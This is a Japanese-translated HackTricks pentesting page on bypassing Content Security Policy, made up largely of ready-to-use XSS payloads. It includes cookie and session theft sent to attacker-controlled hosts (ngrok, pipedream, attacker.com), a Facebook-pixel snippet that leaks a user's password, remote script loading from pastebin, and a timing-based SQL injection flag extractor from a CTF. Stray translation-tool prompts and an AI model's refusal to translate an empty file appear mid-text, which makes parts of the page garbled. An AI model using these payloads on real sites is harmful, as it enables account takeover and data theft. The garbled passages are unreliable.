hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-01-03 00:54:19 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Japanese 2023-07-07 23:42:27 +00:00
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-03 00:54:19 +00:00

Content Security Policy (CSP) のバイパス

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください!

HackTricksをサポートする他の方法:

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加しましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、速いペースのハッキングの世界に追いつく

最新の発表
最新のバグバウンティの開始と重要なプラットフォームの更新情報を入手する

今すぐ Discord に参加して、トップハッカーとのコラボレーションを始めましょう!

CSPとは何か

Content Security PolicyまたはCSPは、クロスサイトスクリプティングXSSなどの攻撃から保護するのに役立つブラウザ内蔵の技術です。ブラウザが安全にリソースをロードできるパスとソースをリストし、説明します。リソースには、画像、フレーム、javascriptなどが含まれる場合があります。以下は、ローカルドメインselfからリソースがロードされ、インラインで実行され、evalsetTimeoutsetInterval:のような文字列コード実行機能を許可する例です。

Content Security Policyは、レスポンスヘッダーまたはHTMLページのメタ要素を介して実装されます。ブラウザは受信したポリシーに従い、違反が検出されると積極的にブロックします。

レスポンスヘッダーを介して実装された場合:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implemented via meta tag:

メタタグを介して実装されます:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

ヘッダー

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only これは何もブロックせず、レポートのみを送信しますPre環境で使用

リソースの定義

CSPは、アクティブコンテンツとパッシブコンテンツがロードされる起源を制限することで機能します。さらに、インラインJavaScriptの実行や、eval()の使用など、アクティブコンテンツの特定の側面を制限することもできます。

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

ディレクティブ

  • script-src: JavaScriptの許可されたソースを指定します。これには、要素に直接読み込まれるURLだけでなく、インラインスクリプトイベントハンドラonclickやXSLTスタイルシートなど、スクリプト実行をトリガーするものも含まれます。
  • default-src: このディレクティブは、デフォルトでリソースをフェッチするポリシーを定義します。CSPヘッダーにフェッチディレクティブがない場合、ブラウザはデフォルトでこのディレクティブに従います。
  • Child-src: このディレクティブは、ウェブワーカーや埋め込まれたフレームコンテンツの許可されたリソースを定義します。
  • connect-src: このディレクティブは、fetch、websocket、XMLHttpRequestなどのインターフェースを使用して読み込むURLを制限します。
  • frame-src: このディレクティブは、呼び出すことができるフレームのURLを制限します。
  • frame-ancestors: このディレクティブは、現在のページを埋め込むことができるソースを指定します。このディレクティブは<frame><iframe><object><embed>、または<applet>に適用されます。このディレクティブはタグでは使用できず、非HTMLリソースにのみ適用されます。
  • img-src: ウェブページ上で画像を読み込むための許可されたソースを定義します。
  • font-src: @font-faceを使用して読み込まれるフォントの有効なソースを指定します。
  • manifest-src: アプリケーションマニフェストファイルの許可されたソースを定義します。
  • media-src: メディアオブジェクトを読み込むことができる許可されたソースを定義します。
  • object-src: <object>、<embed>、および<applet>要素の許可されたソースを定義します。
  • base-uri: 要素を使用して読み込むことができる許可されたURLを定義します。
  • form-action: タグからの送信のための有効なエンドポイントをリストします。
  • plugin-types: ページが呼び出すことができるmimeタイプの種類に制限を定義します。
  • upgrade-insecure-requests: このディレクティブは、ブラウザにURLスキームを書き換えるよう指示し、HTTPをHTTPSに変更します。これは、書き換える必要がある古いURLが多数あるウェブサイトにとって有用です。
  • sandbox: sandboxディレクティブは、sandbox属性と同様に、要求されたリソースに対してサンドボックスを有効にします。これには、ポップアップの防止、プラグインとスクリプトの実行の防止、同一生成元ポリシーの強制など、ページのアクションに対する制限が含まれます。

ソース

  • *: data:blob:filesystem:スキームを除く任意のURLを許可します
  • self: このソースは、同じドメインからのページ上のリソースの読み込みが許可されていることを定義します。
  • data: このソースは、データスキームBase64エンコードされた画像を介してリソースを読み込むことを許可します。
  • none: このディレクティブは、どのソースからも何も読み込まれないことを許可します。
  • unsafe-eval: eval()や文字列からコードを作成するための類似の方法の使用を許可します。このソースを任意のディレクティブに含めることは安全な実践ではありません。同じ理由で、それはunsafeと名付けられています。
  • unsafe-hashes: 特定のインラインイベントハンドラの有効化を許可します。
  • unsafe-inline: インラインリソースの使用を許可します。これには、インライン要素、javascript: URL、インラインイベントハンドラ、およびインライン要素が含まれます。これもセキュリティ上の理由から推奨されません。
  • nonce: 一度使用される数値nonceを使用して特定のインラインスクリプトのホワイトリストを作成します。サーバーは、ポリシーを送信するたびに一意のnonce値を生成する必要があります。
  • sha256-<hash>: 特定のsha256ハッシュを持つスクリプトのホワイトリスト
  • strict-dynamic: "nonce"または"hash"値によって以前にホワイトリストに登録された任意のスクリプトソースからDOMに新しいJavaScriptタグを読み込んで実行することをブラウザに許可します。
  • host: 例えばexample.comのようなホストを示します。

安全でないCSPルール

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

セルフ + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

作業中のペイロード:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

許可されたJSコードがDOM内に新しいスクリプトタグを作成することができれば、許可されたスクリプトがそれを作成しているため、新しいスクリプトタグの実行が許可されます

ワイルドカード (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

作業中のペイロード:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src と default-src の不足

{% hint style="danger" %} これはもう機能しないようです {% endhint %}

Content-Security-Policy: script-src 'self' ;

作動するペイロード:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

ファイルアップロード + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

以下は、CSPをバイパスするためのハッキング技術に関するハッキング本の内容です。関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびHTML構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグのようなものは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは何も追加しないでください。

JSファイルをアップロードできる場合、このCSPをバイパスできます

動作するペイロード:
"/>'><script src="/uploads/picture.png.js"></script>

サーバーがアップロードされたファイルを検証している可能性が高く、特定のタイプのファイルのみアップロードを許可するでしょう。

さらに、サーバーが受け入れる拡張子(例:script.png)を使用してJSコードを含むファイルをアップロードできたとしても、これだけでは不十分です。なぜなら、Apacheサーバーのようなサーバーは拡張子に基づいてファイルのMIMEタイプを選択し、Chromeのようなブラウザーは画像であるべきものの中にあるJavascriptコードの実行を拒否するからです。"幸いにも"、間違いがあります。例えば、CTFから学んだことですが、Apacheは_.wave_拡張子を知らないため、**audio/***のようなMIMEタイプで提供しません。

ここから、XSSとファイルアップロードを見つけ、誤解釈された拡張子を見つけることができれば、その拡張子のファイルとスクリプトの内容をアップロードしてみることができます。または、サーバーがアップロードされたファイルの正しい形式をチェックしている場合は、ポリグロットを作成します(こちらにいくつかのポリグロット例)。

サードパーティエンドポイント + ('unsafe-eval')

{% hint style="warning" %} 以下のペイロードには**unsafe-evalは必要ない**場合もあります。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Angularの脆弱なバージョンを読み込み、任意のJSを実行します

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angularとwindowオブジェクトを返す関数を持つライブラリを使用したペイロード(この投稿をチェック:

{% hint style="info" %} この投稿では、cdn.cloudflare.comまたは他の許可されたJSライブラリリポジトリからすべてのライブラリをロードし、各ライブラリから追加されたすべての関数を実行し、どの関数がどのライブラリからwindowオブジェクトを返すかを確認できることを示しています。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



Google reCAPTCHAのJSコードの悪用

このCTFの解説によると、CSP内でhttps://www.google.com/recaptcha/を悪用して、CSPをバイパスし任意のJSコードを実行することができます

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

サードパーティのエンドポイント + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
このようなシナリオでは、`script-src`が`self`に設定され、ホワイトリストに登録された特定のドメインを使用する場合、JSONPを使用してバイパスすることができます。JSONPエンドポイントは、攻撃者がXSSを実行することを可能にする不安全なコールバック方法を許可します。動作するペイロード:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBeeは、さまざまなウェブサイトのCSPバイパスのために使用できるJSONPエンドポイントを含んでいます。

信頼できるエンドポイントにオープンリダイレクトが含まれている場合も同じ脆弱性が発生します。なぜなら、初期エンドポイントが信頼されている場合、リダイレクトも信頼されるからです。

第三者の悪用

次の投稿で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインが、データの流出またはJavaScriptコードの実行に悪用されることがあります。これらの第三者には以下のものがあります

エンティティ 許可されたドメイン 機能
Facebook www.facebook.com, *.facebook.com 流出
Hotjar *.hotjar.com, ask.hotjar.io 流出
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net 実行
Amazon CloudFront *.cloudfront.net 流出, 実行
Amazon AWS *.amazonaws.com 流出, 実行
Azure Websites *.azurewebsites.net, *.azurestaticapps.net 流出, 実行
Salesforce Heroku *.herokuapp.com 流出, 実行
Google Firebase *.firebaseapp.com 流出, 実行

対象のCSPに許可されたドメインが見つかった場合、第三者サービスに登録して、そのサービスにデータを流出させたり、コードを実行したりすることでCSPをバイパスできる可能性があります。

例えば、次のようなCSPが見つかった場合

Content-Security-Policy: default-src 'self www.facebook.com;

Since there is no content provided from the file pentesting-web/content-security-policy-csp-bypass/README.md, I'm unable to translate it. If you provide the specific English text you want to be translated into Japanese, I can assist you with that.

Content-Security-Policy: connect-src www.facebook.com;

データの流出は、これまで常にGoogle Analytics/Google Tag Managerを使用して行われてきたのと同様に行うことができます。この場合、以下の一般的な手順に従います:

  1. こちらでFacebook Developerアカウントを作成します。
  2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
  3. 「Settings -> Basic」に移動し、「App ID」を取得します。
  4. データを流出させたい対象サイトでは、Facebook SDKガジェット「fbq」を直接使用し、「customEvent」とデータペイロードを通じてデータを流出させることができます。
  5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択しますイベントマネージャーは、このようなURLで見つかることがありますhttps://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. 「Test Events」タブを選択し、「あなたの」ウェブサイトから送信されるイベントを確認します。

その後、被害者側では、攻撃者のFacebook Developerアカウントのapp-idを指すFacebookトラッキングピクセルを初期化し、このようなカスタムイベントを発行するために以下のコードを実行します

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

前述の表に指定された他の7つのサードパーティドメインについては、多くの悪用方法があります。他のサードパーティの悪用についての追加説明は、以前のブログ投稿を参照してください。

RPORelative Path Overwriteによるバイパス

前述のパス制限をバイパスするリダイレクションに加えて、Relative Path OverwriteRPOと呼ばれる別の技術がいくつかのサーバーで使用できます。

例えば、CSPがパス https://example.com/scripts/react/ を許可している場合、以下のようにバイパスできます:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

ブラウザは最終的に https://example.com/scripts/angular/angular.js を読み込みます。

これは、ブラウザにとっては https://example.com/scripts/react/ の下にある ..%2fangular%2fangular.js という名前のファイルを読み込んでいるように見え、CSPに準拠しているからです。

しかし、特定のサーバーでは、リクエストを受け取ると、それをデコードし、実際には https://example.com/scripts/react/../angular/angular.js をリクエストすることになり、これは https://example.com/scripts/angular/angular.js に相当します。

ブラウザとサーバー間でURL解釈に不一致を利用することで、パスのルールをバイパスすることができます

この問題を避けるためには、サーバー側で %2f/ として扱わないようにし、ブラウザとサーバー間で解釈が一致するようにすることが解決策です。

オンライン例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 実行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri が不足している場合

base-uri ディレクティブが不足している場合、dangling markup injection を行うことができます。

さらに、ページが相対パスを使用してスクリプトを読み込んでいる場合(例: <script src="/js/app.js">)、Nonce を使用している場合、base タグ を悪用して、自分のサーバーからスクリプトを読み込ませ、XSSを実現することができます。
脆弱なページが httpS で読み込まれている場合は、baseにhttpSのURLを使用してください。

<base href="https://www.attacker.com/">

AngularJS イベント

特定のポリシーによって、CSPはJavaScriptイベントをブロックすることがあります。しかし、AngularJSは独自のイベントを定義しており、これらを代わりに使用することができます。イベント内部では、AngularJSは特別な$eventオブジェクトを定義しており、これは単にブラウザのイベントオブジェクトを参照しています。このオブジェクトを使用してCSPバイパスを実行することができます。Chromeでは、$event/eventオブジェクトにpathという特別なプロパティがあります。このプロパティには、イベントが実行される原因となるオブジェクトの配列が含まれています。最後のプロパティは常にwindowオブジェクトであり、これを使用してサンドボックスエスケープを実行することができます。この配列をorderByフィルターに渡すことで、配列を列挙し、最後の要素(windowオブジェクト)を使用してグローバル関数(例えばalert())を実行することができます。以下のコードがこれを示しています:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

他のAngularバイパスを見つける https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJSとホワイトリストに登録されたドメイン

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
アプリケーションがAngular JSを使用しており、スクリプトがホワイトリストに登録されたドメインからロードされている場合、コールバック関数や脆弱なクラスを呼び出すことでこのCSPポリシーをバイパスすることが可能です。詳細については、この素晴らしい[git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22)リポジトリをご覧ください。

動作するペイロード:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

他のJSONP任意実行エンドポイントはこちらで見つけることができます(いくつかは削除されたり修正されました)

リダイレクションによるバイパス

CSPがサーバーサイドのリダイレクションに遭遇した場合はどうなるでしょうかリダイレクションが許可されていない異なるオリジンに導かれる場合、それはまだ失敗します。

しかし、CSP仕様 4.2.2.3. パスとリダイレクトの説明によると、リダイレクションが異なるパスに導かれる場合、元の制限をバイパスすることができます。

例を以下に示します:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSPがhttps://www.google.com/a/b/c/dに設定されている場合、パスが考慮されるため、/test/a/testのスクリプトはCSPによってブロックされます。

しかし、最終的なhttp://localhost:5555/301サーバーサイドでhttps://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//にリダイレクトされます。リダイレクトされるため、パスは考慮されずスクリプトは読み込まれることができ、パスの制限を回避することができます。

このリダイレクトにより、パスが完全に指定されていても、それが回避されます。

したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がなく、CSPルールで悪用できるドメインがないことを確認することです。

ダングリングマークアップを利用したCSPの回避

こちらを読む

'unsafe-inline'; img-src *; XSSを介して

default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'`は、コード内で任意のスクリプトを実行できることを意味しますXSSはコードを実行できます。また、`img-src *`は、任意のリソースからの画像をウェブページで使用できることを意味します。

このCSPをバイパスするには、画像を介してデータを流出させることができますこの機会にXSSはCSRFを悪用し、ボットがアクセス可能なページにSQLiが含まれており、画像を介してフラグを抽出します
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

以下は、ハッキング技術に関するハッキングの本の内容です。関連する英語テキストを日本語に翻訳し、まったく同じマークダウンおよびhtml構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名Workspace、aws、gcpなど、'leak'という単語、ペネトレーションテスト、およびマークダウンタグのようなものは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものを追加しないでください。


元のURL: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

この設定を悪用して、画像内に挿入されたJavaScriptコードを読み込むこともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、特別な画像を作成し、Twitterにアップロードし、「unsafe-inline」を悪用してJSコードを実行通常のXSSとしてし、その画像を読み込み、JSを抽出して実行することができます: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Service Workersを利用した場合

Service workersの**importScripts** 関数はCSPの制限を受けません:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

ポリシーインジェクション

研究: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

あなたが送信したパラメーターポリシーの宣言内に貼り付けられている場合、ポリシーを無効にするような方法で変更することができます。以下のバイパスのいずれかを使用して、スクリプト 'unsafe-inline' を許可することができます:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

このディレクティブは既存のscript-srcディレクティブを上書きします。 こちらで例を見ることができます: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edgeではもっと簡単です。CSPにこれだけを追加できれば ;_ Edgeポリシー全体を無視します。 例: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - タイムアタック

ディレクティブ'unsafe-inline'がないことに注意してください。 今回は、被害者にXSSを介してあなたのコントロール下にあるページを<iframe>読み込ませることができます。今回は、情報を抽出したいページ(CSRF)に被害者がアクセスするようにします。ページの内容にはアクセスできませんが、何らかの方法でページの読み込みに必要な時間をコントロールできる場合、必要な情報を抽出できます。

今回はフラグが抽出されます。SQLiを介して文字が正しく推測されるたびに、sleep関数のために応答に時間がかかります。その後、フラグを抽出することができます:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

ブックマークレットを介して

この攻撃は、攻撃者がユーザーにブラウザのブックマークレットにリンクをドラッグアンドドロップするよう説得する社会工学を含む可能性があります。このブックマークレットには悪意のあるJavaScriptコードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、CSPをバイパスし、クッキーやトークンなどの機密情報を盗むことを可能にします

詳細については、こちらのオリジナルレポートをご覧ください

CSPを制限することによるCSPバイパス

このCTFライトアップでは、許可されたiframe内により制限的なCSPを注入し、特定のJSファイルの読み込みを禁止することでCSPをバイパスし、その後、プロトタイプ汚染またはDOMクロッバリングを利用して異なるスクリプトを悪用し任意のスクリプトを読み込むことができます

csp 属性を使用して、IframeのCSPを制限することができます:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

このCTFの解説では、HTMLインジェクションを通じてCSPをさらに制限することで、CSTIを防ぐスクリプトが無効化され、その結果脆弱性が悪用可能になりました。
CSPはHTMLメタタグを使用してより制限的に設定でき、インラインスクリプトはnonceエントリ削除することで無効化し、特定のインラインスクリプトをshaを通じて有効化できます:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS情報漏えいとContent-Security-Policy-Report-Only

サーバーが**Content-Security-Policy-Report-Onlyヘッダーを、あなたが制御できる値で応答するようにすることができればCRLFのためかもしれません、それをあなたのサーバーを指すようにし、<script>で囲んだJSコンテンツをエクスフィルトレーションしたい場合、CSPによってunsafe-inlineが許可されていない可能性が高いため、これはCSPエラーを引き起こす**でしょう。そして、スクリプトの一部(機密情報を含む)がContent-Security-Policy-Report-Onlyからサーバーに送信されます。

例については、このCTFライトアップをチェックしてください

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP + Iframeを利用した情報漏洩

ユーザーに依存する秘密を持つ異なるページへのリダイレクトがある状況を想像してください。例えば、admin ユーザーが redirectme.domain1.com にアクセスすると、adminsecret321.domain2.com にリダイレクトされ、あなたはadminに対してXSSを引き起こすことができます。
また、リダイレクトされるページはセキュリティポリシーによって許可されていませんが、リダイレクトするページは許可されています。

adminがリダイレクトされるドメインを漏洩させる方法は以下の通りです

  • CSP違反を通じて
  • CSPルールを通じて。

CSP違反は即時の漏洩です。行うべきことは、https://redirectme.domain1.com を指すiframeをロードし、blockedURI プロパティにブロックされたURIのドメインが含まれている securitypolicyviolation イベントをリッスンすることです。これは、https://redirectme.domain1.comCSPによって許可されているhttps://adminsecret321.domain2.comCSPによってブロックされているにリダイレクトするためです。これは、CSPを持つiframeの扱いに関する未定義の挙動を利用しています。ChromeとFirefoxは、この点に関して異なる挙動をします。

秘密のサブドメインを構成する可能性のある文字を知っている場合、バイナリサーチを使用して、CSPがリソースをブロックした時とブロックしなかった時を確認し、CSPで異なる禁止されたドメインを作成することもできますこの場合、秘密はdoc-X-XXXX.secdrivencontent.devの形式である可能性があります

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

以下は、こちらからのコツです。

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加しましょう!

ハッキングの洞察
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する

リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、速いペースのハッキングの世界に追いつく

最新のアナウンスメント
新しいバグバウンティの開始と重要なプラットフォームの更新情報を入手する

Discordに参加して、今日からトップハッカーと協力しましょう!

CSPをバイパスするための安全でない技術

PHPレスポンスバッファのオーバーロード

PHPはデフォルトで4096バイトにレスポンスをバッファリングすることで知られています。したがって、PHPが警告を表示している場合、十分なデータを警告内に提供することで、レスポンスCSPヘッダーの前に送信され、ヘッダーが無視される原因となります。
つまり、この技術は基本的に警告でレスポンスバッファを埋め尽くすことで、CSPヘッダーが送信されないようにすることです。

アイデアはこのライトアップからです。

エラーページの書き換え

このライトアップから、エラーページ潜在的にCSPなしをロードしてその内容を書き換えることで、CSP保護をバイパスできたようです。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOMEは、ページのエンドポイントに存在するXSSまたは非常に限定されたXSSを悪用し、同一オリジンの他のエンドポイントを悪用する技術です。攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同一オリジンの実際のエンドポイントに攻撃者のページをリフレッシュします。この方法で、脆弱なエンドポイントは**openerオブジェクトをペイロードに使用して、悪用する実際のエンドポイントのDOMにアクセス**できます。詳細は以下をチェックしてください:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

さらに、wordpressには/wp-json/wp/v2/users/1?_jsonp=dataというJSONPエンドポイントがあり、出力に送信されたデータを反映します(ただし、文字、数字、ドットのみに限定されます)。

攻撃者はそのエンドポイントを悪用してWordPressに対するSOME攻撃を生成し、<script src="/wp-json/wp/v2/users/1?_jsonp=some_attack></script>内に埋め込むことができます。このスクリプトは'self'によって許可されているため、ロードされます。さらに、WordPressがインストールされているため、攻撃者は脆弱な コールバックエンドポイントを通じてSOME攻撃を悪用し、CSPをバイパスしてユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます。
この攻撃の実行方法についての詳細はhttps://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/をチェックしてください。

CSP 情報漏洩バイパス

外部サーバーとのやり取りを許可しない厳格なCSPがある場合でも、情報を抜き出すためにできることがいくつかあります。

Location

攻撃者のサーバーに秘密情報を送信するために、ロケーションを更新することができます:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

メタタグ

